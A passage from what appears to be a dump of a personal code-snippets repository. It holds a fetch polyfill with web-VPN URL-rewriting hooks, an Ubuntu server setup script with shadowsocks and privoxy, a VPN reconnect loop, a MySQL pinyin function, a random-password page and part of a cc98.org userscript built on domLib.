Headers(options.headers);\r\n    this.url = options.url || '';\r\n    this._initBody(bodyInit);\r\n  }\r\n\r\n  Body.call(Response.prototype);\r\n\r\n  Response.prototype.clone = function() {\r\n    return new Response(this._bodyInit, {\r\n      status: this.status,\r\n      statusText: this.statusText,\r\n      headers: new Headers(this.headers),\r\n      url: this.url\r\n    })\r\n  };\r\n\r\n  Response.error = function() {\r\n    var response = new Response(null, {status: 0, statusText: ''});\r\n    response.type = 'error';\r\n    return response\r\n  };\r\n\r\n  var redirectStatuses = [301, 302, 303, 307, 308];\r\n\r\n  Response.redirect = function(url, status) {\r\n    if (redirectStatuses.indexOf(status) === -1) {\r\n      throw new RangeError('Invalid status code')\r\n    }\r\n\r\n    return new Response(null, {status: status, headers: {location: url}})\r\n  };\r\n\r\n  exports.DOMException = self.DOMException;\r\n  try {\r\n    new exports.DOMException();\r\n  } catch (err) {\r\n    exports.DOMException = function(message, name) {\r\n      this.message = message;\r\n      this.name = name;\r\n      var error = Error(message);\r\n      this.stack = error.stack;\r\n    };\r\n    exports.DOMException.prototype = Object.create(Error.prototype);\r\n    exports.DOMException.prototype.constructor = exports.DOMException;\r\n  }\r\n\r\n  function fetch(input, init) {\r\n    return new Promise(function(resolve, reject) {\r\n      var request = new Request(input, init);\r\n\r\n      if (request.signal && request.signal.aborted) {\r\n        return reject(new exports.DOMException('Aborted', 'AbortError'))\r\n      }\r\n\r\n      var xhr = new XMLHttpRequest();\r\n\r\n      function abortXhr() {\r\n        xhr.abort();\r\n      }\r\n\r\n      xhr.onload = function() {\r\n        var options = {\r\n          status: xhr.status,\r\n          statusText: xhr.statusText,\r\n          headers: parseHeaders(xhr.getAllResponseHeaders() || '')\r\n        };\r\n        options.url = 'responseURL' in xhr ? xhr.responseURL : options.headers.get('X-Request-URL');\r\n        var body = 'response' in xhr ? xhr.response : xhr.responseText;\r\n        resolve(new Response(body, options));\r\n      };\r\n\r\n      xhr.onerror = function() {\r\n        reject(new TypeError('Network request failed'));\r\n      };\r\n\r\n      xhr.ontimeout = function() {\r\n        reject(new TypeError('Network request failed'));\r\n      };\r\n\r\n      xhr.onabort = function() {\r\n        reject(new exports.DOMException('Aborted', 'AbortError'));\r\n      };\r\n\r\n      xhr.open(request.method, request.url, true);\r\n\r\n      if (request.credentials === 'include') {\r\n        xhr.withCredentials = true;\r\n      } else if (request.credentials === 'omit') {\r\n        xhr.withCredentials = false;\r\n      }\r\n\r\n      if ('responseType' in xhr && support.blob) {\r\n        xhr.responseType = 'blob';\r\n      }\r\n\r\n      request.headers.forEach(function(value, name) {\r\n        xhr.setRequestHeader(name, value);\r\n      });\r\n\r\n      if (request.signal) {\r\n        request.signal.addEventListener('abort', abortXhr);\r\n\r\n        xhr.onreadystatechange = function() {\r\n          // DONE (success or failure)\r\n          if (xhr.readyState === 4) {\r\n            request.signal.removeEventListener('abort', abortXhr);\r\n          }\r\n        };\r\n      }\r\n\r\n      xhr.send(typeof request._bodyInit === 'undefined' ? null : request._bodyInit);\r\n    })\r\n  }\r\n\r\n  fetch.polyfill = true;\r\n\r\n  if (true) {\r\n    self.fetch = fetch;\r\n    self.Headers = Headers;\r\n    self.Request = Request;\r\n    self.Response = Response;\r\n  }\r\n\r\n  exports.Headers = Headers;\r\n  exports.Request = Request;\r\n  exports.Response = Response;\r\n  exports.fetch = fetch;\r\n\r\n  Object.defineProperty(exports, '__esModule', { value: true });\r\n\r\n})));\r\n/*fetch.js end*/\r\n\r\n//hook picture load, author: @zjuchenyuan\r\nvar dc = HTMLDocument.prototype.createElement;\r\nHTMLDocument.prototype.createElement = function (tag, options) {\r\n  var r = dc.call(document, tag, options);\r\n  if(tag==\"img\"||tag=='a') {\r\n      var x=r.setAttribute;\r\n      r.setAttribute=function(a,b){\r\n          if(a==\"src\"||a==\"href\"){\r\n              if(b[0]==\"/\") b=b.replace(\"/\", window.ROOT);\r\n              else{\r\n                  b = b.replace(\"http://\",\"/web/0/http/0/\");\r\n                  b = b.replace(\"https://\",\"/web/0/https/0/\");\r\n              }\r\n          }\r\n          return x.call(r,a,b);\r\n      }\r\n  }\r\n  return r;\r\n}\r\n\r\n        hookAjax({\r\n          open:function(arg){\r\n            console.log(arg[1]);\r\n            if(arg[1][0]==\"/\") arg[1]=arg[1].replace(\"/\",ROOT);\r\n            else if(arg[1].startsWith(\"https://\")) arg[1]=arg[1].replace(\"https://\",\"/web/0/https/0/\");\r\n            else if(arg[1].startsWith(\"http://\")) arg[1]=arg[1].replace(\"https://\",\"/web/0/http/0/\");\r\n          } \r\n        })\r\n    }\r\n    window.RVPNSTATUS = RVPNSTATUS;\r\n    window.ROOT = ROOT;\r\n}"
  },
  {
    "path": "docs/code/newubuntu14.txt",
    "content": "#全新ubuntu14.04需要运行的代码\r\n\r\necho \"\"\"nameserver 114.114.114.114\r\nnameserver 223.5.5.5\"\"\"> /etc/resolv.conf\r\n\r\ncurl http://mirrors.163.com/.help/sources.list.trusty>/etc/apt/sources.list\r\n\r\napt-get update\r\n\r\napt-get install -y screen python-pip  privoxy unzip  libssl-dev openssl \r\n\r\nmkdir -p ~/.pip\r\necho \"\"\"\r\n[global]\r\nindex-url = http://pypi.doubanio.com/simple/\r\n[install]\r\ntrusted-host=pypi.doubanio.com\r\n\"\"\">~/.pip/pip.conf\r\n\r\npip install shadowsocks\r\n\r\nscreen -S ss\r\n\r\nsslocal ...\r\n\r\ncurl ip.cn --proxy socks5://127.0.0.1:1080\r\n\r\necho \"\"\"\r\nuser-manual /usr/share/doc/privoxy/user-manual\r\nconfdir /etc/privoxy\r\nlogdir /var/log/privoxy\r\nactionsfile match-all.action\r\nactionsfile user.action\r\nlogfile logfile\r\ntoggle  1\r\nenable-remote-toggle  0\r\nenable-remote-http-toggle  0\r\nenable-edit-actions 0\r\nenforce-blocks 0\r\nbuffer-limit 4096\r\nenable-proxy-authentication-forwarding 0\r\nforwarded-connect-retries  0\r\naccept-intercepted-requests 0\r\nallow-cgi-request-crunching 0\r\nsplit-large-forms 0\r\nkeep-alive-timeout 5\r\ntolerate-pipelining 1\r\nsocket-timeout 300\r\nlisten-address  127.0.0.1:8118\r\nforward-socks5    /    127.0.0.1:1080 .\r\n\"\"\">/etc/privoxy/config\r\nservice privoxy restart\r\n\r\ncurl https://codeload.github.com/kdlucas/byte-unixbench/zip/v5.1.3 --proxy socks5://127.0.0.1:1080 >UnixBench.zip\r\nunzip UnixBench.zip\r\ncd byte-unixbench-5.1.3/UnixBench\r\n./Run"
  },
  {
    "path": "docs/code/pingtest.sh",
    "content": "#!/bin/bash\nwhile [ '1' = '1' ];do \nping -c 1 ip.cn &> /dev/null\nif [ $? -ne 0 ];then\n    ping -c 1 baidu.com &> /dev/null\n    if [ $? -ne 0 ];then\n        zjuvpn -d\n        zjuvpn\n    fi\nfi\ndate\nsleep 120\ndone\n"
  },
  {
    "path": "docs/code/pinyin.sql",
    "content": "CREATE TABLE IF NOT EXISTS `t_base_pinyin` (\r\n  `pin_yin_` varchar(255) CHARACTER SET gbk NOT NULL,\r\n  `code_` int(11) NOT NULL,\r\n  PRIMARY KEY (`code_`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=latin1;\r\nINSERT INTO t_base_pinyin (pin_yin_,code_)  VALUES (\"a\", 20319),(\"ai\", 20317),(\"an\", 20304),(\"ang\", 20295),(\"ao\", 20292),(\"ba\", 20283),(\"bai\", 20265),(\"ban\", 20257),(\"bang\", 20242),(\"bao\", 20230),(\"bei\", 20051),(\"ben\", 20036),(\"beng\", 20032),(\"bi\", 20026),(\"bian\", 20002),(\"biao\", 19990),(\"bie\", 19986),(\"bin\", 19982),(\"bing\", 19976),(\"bo\", 19805),(\"bu\", 19784),(\"ca\", 19775),(\"cai\", 19774),(\"can\", 19763),(\"cang\", 19756),(\"cao\", 19751),(\"ce\", 19746),(\"ceng\", 19741),(\"cha\", 19739),(\"chai\", 19728),(\"chan\", 19725),(\"chang\", 19715),(\"chao\", 19540),(\"che\", 19531),(\"chen\", 19525),(\"cheng\", 19515),(\"chi\", 19500),(\"chong\", 19484),(\"chou\", 19479),(\"chu\", 19467),(\"chuai\", 19289),(\"chuan\", 19288),(\"chuang\", 19281),(\"chui\", 19275),(\"chun\", 19270),(\"chuo\", 19263),(\"ci\", 19261),(\"cong\", 19249),(\"cou\", 19243),(\"cu\", 19242),(\"cuan\", 19238),(\"cui\", 19235),(\"cun\", 19227),(\"cuo\", 19224),(\"da\", 19218),(\"dai\", 19212),(\"dan\", 19038),(\"dang\", 19023),(\"dao\", 19018),(\"de\", 19006),(\"deng\", 19003),(\"di\", 18996),(\"dian\", 18977),(\"diao\", 18961),(\"die\", 18952),(\"ding\", 18783),(\"diu\", 18774),(\"dong\", 18773),(\"dou\", 18763),(\"du\", 18756),(\"duan\", 18741),(\"dui\", 18735),(\"dun\", 18731),(\"duo\", 18722),(\"e\", 18710),(\"en\", 18697),(\"er\", 18696),(\"fa\", 18526),(\"fan\", 18518),(\"fang\", 18501),(\"fei\", 18490),(\"fen\", 18478),(\"feng\", 18463),(\"fo\", 18448),(\"fou\", 18447),(\"fu\", 18446),(\"ga\", 18239),(\"gai\", 18237),(\"gan\", 18231),(\"gang\", 18220),(\"gao\", 18211),(\"ge\", 18201),(\"gei\", 18184),(\"gen\", 18183),(\"geng\", 18181),(\"gong\", 18012),(\"gou\", 17997),(\"gu\", 17988),(\"gua\", 17970),(\"guai\", 17964),(\"guan\", 17961),(\"guang\", 17950),(\"gui\", 17947),(\"gun\", 17931),(\"guo\", 17928),(\"ha\", 17922),(\"hai\", 17759),(\"han\", 17752),(\"hang\", 17733),(\"hao\", 17730),(\"he\", 17721),(\"hei\", 17703),(\"hen\", 17701),(\"heng\", 17697),(\"hong\", 17692),(\"hou\", 17683),(\"hu\", 17676),(\"hua\", 17496),(\"huai\", 17487),(\"huan\", 17482),(\"huang\", 17468),(\"hui\", 17454),(\"hun\", 17433),(\"huo\", 17427),(\"ji\", 17417),(\"jia\", 17202),(\"jian\", 17185),(\"jiang\", 16983),(\"jiao\", 16970),(\"jie\", 16942),(\"jin\", 16915),(\"jing\", 16733),(\"jiong\", 16708),(\"jiu\", 16706),(\"ju\", 16689),(\"juan\", 16664),(\"jue\", 16657),(\"jun\", 16647),(\"ka\", 16474),(\"kai\", 16470),(\"kan\", 16465),(\"kang\", 16459),(\"kao\", 16452),(\"ke\", 16448),(\"ken\", 16433),(\"keng\", 16429),(\"kong\", 16427),(\"kou\", 16423),(\"ku\", 16419),(\"kua\", 16412),(\"kuai\", 16407),(\"kuan\", 16403),(\"kuang\", 16401),(\"kui\", 16393),(\"kun\", 16220),(\"kuo\", 16216),(\"la\", 16212),(\"lai\", 16205),(\"lan\", 16202),(\"lang\", 16187),(\"lao\", 16180),(\"le\", 16171),(\"lei\", 16169),(\"leng\", 16158),(\"li\", 16155),(\"lia\", 15959),(\"lian\", 15958),(\"liang\", 15944),(\"liao\", 15933),(\"lie\", 15920),(\"lin\", 15915),(\"ling\", 15903),(\"liu\", 15889),(\"long\", 15878),(\"lou\", 15707),(\"lu\", 15701),(\"lv\", 15681),(\"luan\", 15667),(\"lue\", 15661),(\"lun\", 15659),(\"luo\", 15652),(\"ma\", 15640),(\"mai\", 15631),(\"man\", 15625),(\"mang\", 15454),(\"mao\", 15448),(\"me\", 15436),(\"mei\", 15435),(\"men\", 15419),(\"meng\", 15416),(\"mi\", 15408),(\"mian\", 15394),(\"miao\", 15385),(\"mie\", 15377),(\"min\", 15375),(\"ming\", 15369),(\"miu\", 15363),(\"mo\", 15362),(\"mou\", 15183),(\"mu\", 15180),(\"na\", 15165),(\"nai\", 15158),(\"nan\", 15153),(\"nang\", 15150),(\"nao\", 15149),(\"ne\", 15144),(\"nei\", 15143),(\"nen\", 15141),(\"neng\", 15140),(\"ni\", 15139),(\"nian\", 15128),(\"niang\", 15121),(\"niao\", 15119),(\"nie\", 15117),(\"nin\", 15110),(\"ning\", 15109),(\"niu\", 14941),(\"nong\", 14937),(\"nu\", 14933),(\"nv\", 14930),(\"nuan\", 14929),(\"nue\", 14928),(\"nuo\", 14926),(\"o\", 14922),(\"ou\", 14921),(\"pa\", 14914),(\"pai\", 14908),(\"pan\", 14902),(\"pang\", 14894),(\"pao\", 14889),(\"pei\", 14882),(\"pen\", 14873),(\"peng\", 14871),(\"pi\", 14857),(\"pian\", 14678),(\"piao\", 14674),(\"pie\", 14670),(\"pin\", 14668),(\"ping\", 14663),(\"po\", 14654),(\"pu\", 14645),(\"qi\", 14630),(\"qia\", 14594),(\"qian\", 14429),(\"qiang\", 14407),(\"qiao\", 14399),(\"qie\", 14384),(\"qin\", 14379),(\"qing\", 14368),(\"qiong\", 14355),(\"qiu\", 14353),(\"qu\", 14345),(\"quan\", 14170),(\"que\", 14159),(\"qun\", 14151),(\"ran\", 14149),(\"rang\", 14145),(\"rao\", 14140),(\"re\", 14137),(\"ren\", 14135),(\"reng\", 14125),(\"ri\", 14123),(\"rong\", 14122),(\"rou\", 14112),(\"ru\", 14109),(\"ruan\", 14099),(\"rui\", 14097),(\"run\", 14094),(\"ruo\", 14092),(\"sa\", 14090),(\"sai\", 14087),(\"san\", 14083),(\"sang\", 13917),(\"sao\", 13914),(\"se\", 13910),(\"sen\", 13907),(\"seng\", 13906),(\"sha\", 13905),(\"shai\", 13896),(\"shan\", 13894),(\"shang\", 13878),(\"shao\", 13870),(\"she\", 13859),(\"shen\", 13847),(\"sheng\", 13831),(\"shi\", 13658),(\"shou\", 13611),(\"shu\", 13601),(\"shua\", 13406),(\"shuai\", 13404),(\"shuan\", 13400),(\"shuang\", 13398),(\"shui\", 13395),(\"shun\", 13391),(\"shuo\", 13387),(\"si\", 13383),(\"song\", 13367),(\"sou\", 13359),(\"su\", 13356),(\"suan\", 13343),(\"sui\", 13340),(\"sun\", 13329),(\"suo\", 13326),(\"ta\", 13318),(\"tai\", 13147),(\"tan\", 13138),(\"tang\", 13120),(\"tao\", 13107),(\"te\", 13096),(\"teng\", 13095),(\"ti\", 13091),(\"tian\", 13076),(\"tiao\", 13068),(\"tie\", 13063),(\"ting\", 13060),(\"tong\", 12888),(\"tou\", 12875),(\"tu\", 12871),(\"tuan\", 12860) ,(\"tui\", 12858),(\"tun\", 12852),(\"tuo\", 12849),(\"wa\", 12838),(\"wai\", 12831),(\"wan\", 12829),(\"wang\", 12812),(\"wei\", 12802),(\"wen\", 12607),(\"weng\", 12597),(\"wo\", 12594),(\"wu\", 12585),(\"xi\", 12556),(\"xia\", 12359),(\"xian\", 12346),(\"xiang\", 12320),(\"xiao\", 12300),(\"xie\", 12120),(\"xin\", 12099),(\"xing\", 12089),(\"xiong\", 12074),(\"xiu\", 12067),(\"xu\", 12058),(\"xuan\", 12039),(\"xue\", 11867),(\"xun\", 11861),(\"ya\", 11847),(\"yan\", 11831),(\"yang\", 11798),(\"yao\", 11781),(\"ye\", 11604),(\"yi\", 11589),(\"yin\", 11536),(\"ying\", 11358),(\"yo\", 11340),(\"yong\", 11339),(\"you\", 11324),(\"yu\", 11303),(\"yuan\", 11097),(\"yue\", 11077),(\"yun\", 11067),(\"za\", 11055),(\"zai\", 11052),(\"zan\", 11045),(\"zang\", 11041),(\"zao\", 11038),(\"ze\", 11024),(\"zei\", 11020),(\"zen\", 11019),(\"zeng\", 11018),(\"zha\", 11014),(\"zhai\", 10838),(\"zhan\", 10832),(\"zhang\", 10815),(\"zhao\", 10800),(\"zhe\", 10790),(\"zhen\", 10780),(\"zheng\", 10764),(\"zhi\", 10587),(\"zhong\", 10544),(\"zhou\", 10533),(\"zhu\", 10519),(\"zhua\", 10331),(\"zhuai\", 10329),(\"zhuan\", 10328),(\"zhuang\", 10322),(\"zhui\", 10315),(\"zhun\", 10309),(\"zhuo\", 10307),(\"zi\", 10296),(\"zong\", 10281),(\"zou\", 10274),(\"zu\", 10270),(\"zuan\", 10262),(\"zui\", 10260),(\"zun\", 10256),(\"zuo\", 10254);\r\nDROP FUNCTION IF EXISTS to_pinyin;\r\nDELIMITER $\r\nCREATE FUNCTION to_pinyin(NAME VARCHAR(255) CHARSET gbk)\r\nRETURNS VARCHAR(255) CHARSET gbk\r\nREADS SQL DATA\r\nBEGIN\r\n    DECLARE mycode INT;\r\n    DECLARE tmp_lcode VARCHAR(2) CHARSET gbk;\r\n    DECLARE lcode INT;\r\n    DECLARE tmp_rcode VARCHAR(2) CHARSET gbk;\r\n    DECLARE rcode INT;\r\n    DECLARE mypy VARCHAR(255) CHARSET gbk DEFAULT '';\r\n    DECLARE lp INT;\r\n    SET mycode = 0;\r\n    SET lp = 1;\r\n    SET NAME = HEX(NAME);\r\n    WHILE lp < LENGTH(NAME) DO\r\n        SET tmp_lcode = SUBSTRING(NAME, lp, 2);\r\n        SET lcode = CAST(ASCII(UNHEX(tmp_lcode)) AS UNSIGNED); \r\n        SET tmp_rcode = SUBSTRING(NAME, lp + 2, 2);\r\n        SET rcode = CAST(ASCII(UNHEX(tmp_rcode)) AS UNSIGNED); \r\n        IF lcode > 128 THEN\r\n            SET mycode =65536 - lcode * 256 - rcode ;\r\n            SELECT CONCAT(mypy,pin_yin_) INTO mypy FROM t_base_pinyin WHERE CODE_ >= ABS(mycode) ORDER BY CODE_ ASC LIMIT 1;\r\n            SET lp = lp + 4;\r\n        ELSE\r\n            SET mypy = CONCAT(mypy,CHAR(CAST(ASCII(UNHEX(SUBSTRING(NAME, lp, 2))) AS UNSIGNED)));\r\n            SET lp = lp + 2;\r\n        END IF;\r\n    END WHILE;\r\n    RETURN LOWER(mypy);\r\nEND;\r\n$\r\nDELIMITER ;\r\nselect to_pinyin('测试');"
  },
  {
    "path": "docs/code/randomstring.html",
    "content": "<script language=\"javascript\"> \r\nfunction randomString(chars,len) {\r\n　　len = len || 16;\r\n　　var maxPos = chars.length;\r\n　　var pwd = '';\r\n　　for (i = 0; i < len; i++) {\r\n　　　　pwd += chars.charAt(Math.floor(Math.random() * maxPos));\r\n　　}\r\n　　return pwd;\r\n}\r\nfunction selectText() {\r\n    if (document.selection) {\r\n        var range = document.body.createTextRange();\r\n        range.moveToElementText(document.getElementById('selectable'));\r\n        range.select();\r\n    } else if (window.getSelection) {\r\n        var range = document.createRange();\r\n        range.selectNode(document.getElementById('selectable'));\r\n        window.getSelection().addRange(range);\r\n    }\r\n}\r\ndocument.write('<span id=\"selectable\">'+randomString('~!@#$*()_+-=ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz123456789',16)+\"</span><br>\");\r\ndocument.write(randomString('ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz123456789',16));\r\nselectText()\r\n</script>\r\n"
  },
  {
    "path": "docs/code/showtiponcc98.user.js",
    "content": "// ==UserScript==\r\n// @name                show tip on cc98.org\r\n// @version        0.4.2\r\n// @author chenyuan\r\n// @namespace\t        cc98.tech\r\n// @description\t        show tip on cc98.org recent page, by requesting cc98.tech\r\n// @include\t\thttps://www.cc98.org/*\r\n// @include\t\thttp://www.cc98.org/*\r\n// @connect cc98.tech\r\n// @grant        GM_xmlhttpRequest\r\n// @grant GM_addStyle\r\n// ==/UserScript==\r\n\r\n/** $Id: domLib.js 2321 2006-06-12 06:45:41Z dallen $ */\r\n// {{{ license\r\n\r\n/*\r\n * Copyright 2002-2005 Dan Allen, Mojavelinux.com (dan.allen@mojavelinux.com)\r\n *\r\n * Licensed under the Apache License, Version 2.0 (the \"License\");\r\n * you may not use this file except in compliance with the License.\r\n * You may obtain a copy of the License at\r\n *\r\n *      http://www.apache.org/licenses/LICENSE-2.0\r\n *\r\n * Unless required by applicable law or agreed to in writing, software\r\n * distributed under the License is distributed on an \"AS IS\" BASIS,\r\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n * See the License for the specific language governing permissions and\r\n * limitations under the License.\r\n */\r\n\r\n// }}}\r\n// {{{ intro\r\n\r\n/**\r\n * Title: DOM Library Core\r\n * Version: 0.70\r\n *\r\n * Summary:\r\n * A set of commonly used functions that make it easier to create javascript\r\n * applications that rely on the DOM.\r\n *\r\n * Updated: 2005/05/17\r\n *\r\n * Maintainer: Dan Allen <dan.allen@mojavelinux.com>\r\n * Maintainer: Jason Rust <jrust@rustyparts.com>\r\n *\r\n * License: Apache 2.0\r\n */\r\n\r\n// }}}\r\n// {{{ global constants (DO NOT EDIT)\r\n\r\n// -- Browser Detection --\r\nvar domLib_userAgent = navigator.userAgent.toLowerCase();\r\nvar domLib_isMac = navigator.appVersion.indexOf('Mac') != -1;\r\nvar domLib_isWin = domLib_userAgent.indexOf('windows') != -1;\r\n// NOTE: could use window.opera for detecting Opera\r\nvar domLib_isOpera = domLib_userAgent.indexOf('opera') != -1;\r\nvar domLib_isOpera7up = domLib_userAgent.match(/opera.(7|8)/i);\r\nvar domLib_isSafari = domLib_userAgent.indexOf('safari') != -1;\r\nvar domLib_isKonq = domLib_userAgent.indexOf('konqueror') != -1;\r\n// Both konqueror and safari use the khtml rendering engine\r\nvar domLib_isKHTML = (domLib_isKonq || domLib_isSafari || domLib_userAgent.indexOf('khtml') != -1);\r\nvar domLib_isIE = (!domLib_isKHTML && !domLib_isOpera && (domLib_userAgent.indexOf('msie 5') != -1 || domLib_userAgent.indexOf('msie 6') != -1 || domLib_userAgent.indexOf('msie 7') != -1));\r\nvar domLib_isIE5up = domLib_isIE;\r\nvar domLib_isIE50 = (domLib_isIE && domLib_userAgent.indexOf('msie 5.0') != -1);\r\nvar domLib_isIE55 = (domLib_isIE && domLib_userAgent.indexOf('msie 5.5') != -1);\r\nvar domLib_isIE5 = (domLib_isIE50 || domLib_isIE55);\r\n// safari and konq may use string \"khtml, like gecko\", so check for destinctive /\r\nvar domLib_isGecko = domLib_userAgent.indexOf('gecko/') != -1;\r\nvar domLib_isMacIE = (domLib_isIE && domLib_isMac);\r\nvar domLib_isIE55up = domLib_isIE5up && !domLib_isIE50 && !domLib_isMacIE;\r\nvar domLib_isIE6up = domLib_isIE55up && !domLib_isIE55;\r\n\r\n// -- Browser Abilities --\r\nvar domLib_standardsMode = (document.compatMode && document.compatMode == 'CSS1Compat');\r\nvar domLib_useLibrary = (domLib_isOpera7up || domLib_isKHTML || domLib_isIE5up || domLib_isGecko || domLib_isMacIE || document.defaultView);\r\n// fixed in Konq3.2\r\nvar domLib_hasBrokenTimeout = (domLib_isMacIE || (domLib_isKonq && domLib_userAgent.match(/konqueror\\/3.([2-9])/) == null));\r\nvar domLib_canFade = (domLib_isGecko || domLib_isIE || domLib_isSafari || domLib_isOpera);\r\nvar domLib_canDrawOverSelect = (domLib_isMac || domLib_isOpera || domLib_isGecko);\r\nvar domLib_canDrawOverFlash = (domLib_isMac || domLib_isWin);\r\n\r\n// -- Event Variables --\r\nvar domLib_eventTarget = domLib_isIE ? 'srcElement' : 'currentTarget';\r\nvar domLib_eventButton = domLib_isIE ? 'button' : 'which';\r\nvar domLib_eventTo = domLib_isIE ? 'toElement' : 'relatedTarget';\r\nvar domLib_stylePointer = domLib_isIE ? 'hand' : 'pointer';\r\n// NOTE: a bug exists in Opera that prevents maxWidth from being set to 'none', so we make it huge\r\nvar domLib_styleNoMaxWidth = domLib_isOpera ? '10000px' : 'none';\r\nvar domLib_hidePosition = '-1000px';\r\nvar domLib_scrollbarWidth = 14;\r\nvar domLib_autoId = 1;\r\nvar domLib_zIndex = 100;\r\n\r\n// -- Detection --\r\nvar domLib_collisionElements;\r\nvar domLib_collisionsCached = false;\r\n\r\nvar domLib_timeoutStateId = 0;\r\nvar domLib_timeoutStates = new Hash();\r\n\r\n// }}}\r\n// {{{ DOM enhancements\r\n\r\nif (!document.ELEMENT_NODE)\r\n{\r\n    document.ELEMENT_NODE = 1;\r\n    document.ATTRIBUTE_NODE = 2;\r\n    document.TEXT_NODE = 3;\r\n    document.DOCUMENT_NODE = 9;\r\n    document.DOCUMENT_FRAGMENT_NODE = 11;\r\n}\r\n\r\nfunction domLib_clone(obj)\r\n{\r\n    var copy = {};\r\n    for (var i in obj)\r\n    {\r\n        var value = obj[i];\r\n        try\r\n        {\r\n            if (value != null && typeof(value) == 'object' && value != window && !value.nodeType)\r\n            {\r\n                copy[i] = domLib_clone(value);\r\n            }\r\n            else\r\n            {\r\n                copy[i] = value;\r\n            }\r\n        }\r\n        catch(e)\r\n        {\r\n            copy[i] = value;\r\n        }\r\n    }\r\n\r\n    return copy;\r\n}\r\n\r\n// }}}\r\n// {{{ class Hash()\r\n\r\nfunction Hash()\r\n{\r\n    this.length = 0;\r\n    this.numericLength = 0;\r\n    this.elementData = [];\r\n    for (var i = 0; i < arguments.length; i += 2)\r\n    {\r\n        if (typeof(arguments[i + 1]) != 'undefined')\r\n        {\r\n            this.elementData[arguments[i]] = arguments[i + 1];\r\n            this.length++;\r\n            if (arguments[i] == parseInt(arguments[i]))\r\n            {\r\n                this.numericLength++;\r\n            }\r\n        }\r\n    }\r\n}\r\n\r\n// using prototype as opposed to inner functions saves on memory\r\nHash.prototype.get = function(in_key)\r\n{\r\n    if (typeof(this.elementData[in_key]) != 'undefined') {\r\n        return this.elementData[in_key];\r\n    }\r\n\r\n    return null;\r\n}\r\n\r\nHash.prototype.set = function(in_key, in_value)\r\n{\r\n    if (typeof(in_value) != 'undefined')\r\n    {\r\n        if (typeof(this.elementData[in_key]) == 'undefined')\r\n        {\r\n            this.length++;\r\n            if (in_key == parseInt(in_key))\r\n            {\r\n                this.numericLength++;\r\n            }\r\n        }\r\n\r\n        return this.elementData[in_key] = in_value;\r\n    }\r\n\r\n    return false;\r\n}\r\n\r\nHash.prototype.remove = function(in_key)\r\n{\r\n    var tmp_value;\r\n    if (typeof(this.elementData[in_key]) != 'undefined')\r\n    {\r\n        this.length--;\r\n        if (in_key == parseInt(in_key))\r\n        {\r\n            this.numericLength--;\r\n        }\r\n\r\n        tmp_value = this.elementData[in_key];\r\n        delete this.elementData[in_key];\r\n    }\r\n\r\n    return tmp_value;\r\n}\r\n\r\nHash.prototype.size = function()\r\n{\r\n    return this.length;\r\n}\r\n\r\nHash.prototype.has = function(in_key)\r\n{\r\n    return typeof(this.elementData[in_key]) != 'undefined';\r\n}\r\n\r\nHash.prototype.find = function(in_obj)\r\n{\r\n    for (var tmp_key in this.elementData)\r\n    {\r\n        if (this.elementData[tmp_key] == in_obj)\r\n        {\r\n            return tmp_key;\r\n        }\r\n    }\r\n\r\n    return null;\r\n}\r\n\r\nHash.prototype.merge = function(in_hash)\r\n{\r\n    for (var tmp_key in in_hash.elementData)\r\n    {\r\n        if (typeof(this.elementData[tmp_key]) == 'undefined')\r\n        {\r\n            this.length++;\r\n            if (tmp_key == parseInt(tmp_key))\r\n            {\r\n                this.numericLength++;\r\n            }\r\n        }\r\n\r\n        this.elementData[tmp_key] = in_hash.elementData[tmp_key];\r\n    }\r\n}\r\n\r\nHash.prototype.compare = function(in_hash)\r\n{\r\n    if (this.length != in_hash.length)\r\n    {\r\n        return false;\r\n    }\r\n\r\n    for (var tmp_key in this.elementData)\r\n    {\r\n        if (this.elementData[tmp_key] != in_hash.elementData[tmp_key])\r\n        {\r\n            return false;\r\n        }\r\n    }\r\n\r\n    return true;\r\n}\r\n\r\n// }}}\r\n// {{{ domLib_isDescendantOf()\r\n\r\nfunction domLib_isDescendantOf(in_object, in_ancestor, in_bannedTags)\r\n{\r\n    if (in_object == null)\r\n    {\r\n        return false;\r\n    }\r\n\r\n    if (in_object == in_ancestor)\r\n    {\r\n        return true;\r\n    }\r\n\r\n    if (typeof(in_bannedTags) != 'undefined' &&\r\n        (',' + in_bannedTags.join(',') + ',').indexOf(',' + in_object.tagName + ',') != -1)\r\n    {\r\n        return false;\r\n    }\r\n\r\n    while (in_object != document.documentElement)\r\n    {\r\n        try\r\n        {\r\n            if ((tmp_object = in_object.offsetParent) && tmp_object == in_ancestor)\r\n            {\r\n                return true;\r\n            }\r\n            else if ((tmp_object = in_object.parentNode) == in_ancestor)\r\n            {\r\n                return true;\r\n            }\r\n            else\r\n            {\r\n                in_object = tmp_object;\r\n            }\r\n        }\r\n        // in case we get some wierd error, assume we left the building\r\n        catch(e)\r\n        {\r\n            return false;\r\n        }\r\n    }\r\n\r\n    return false;\r\n}\r\n\r\n// }}}\r\n// {{{ domLib_detectCollisions()\r\n\r\n/**\r\n * For any given target element, determine if elements on the page\r\n * are colliding with it that do not obey the rules of z-index.\r\n */\r\nfunction domLib_detectCollisions(in_object, in_recover, in_useCache)\r\n{\r\n    // the reason for the cache is that if the root menu is built before\r\n    // the page is done loading, then it might not find all the elements.\r\n    // so really the only time you don't use cache is when building the\r\n    // menu as part of the page load\r\n    if (!domLib_collisionsCached)\r\n    {\r\n        var tags = [];\r\n\r\n        if (!domLib_canDrawOverFlash)\r\n        {\r\n            tags[tags.length] = 'object';\r\n        }\r\n\r\n        if (!domLib_canDrawOverSelect)\r\n        {\r\n            tags[tags.length] = 'select';\r\n        }\r\n\r\n        domLib_collisionElements = domLib_getElementsByTagNames(tags, true);\r\n        domLib_collisionsCached = in_useCache;\r\n    }\r\n\r\n    // if we don't have a tip, then unhide selects\r\n    if (in_recover)\r\n    {\r\n        for (var cnt = 0; cnt < domLib_collisionElements.length; cnt++)\r\n        {\r\n            var thisElement = domLib_collisionElements[cnt];\r\n\r\n            if (!thisElement.hideList)\r\n            {\r\n                thisElement.hideList = new Hash();\r\n            }\r\n\r\n            thisElement.hideList.remove(in_object.id);\r\n            if (!thisElement.hideList.length)\r\n            {\r\n                domLib_collisionElements[cnt].style.visibility = 'visible';\r\n                if (domLib_isKonq)\r\n                {\r\n                    domLib_collisionElements[cnt].style.display = '';\r\n                }\r\n            }\r\n        }\r\n\r\n        return;\r\n    }\r\n    else if (domLib_collisionElements.length == 0)\r\n    {\r\n        return;\r\n    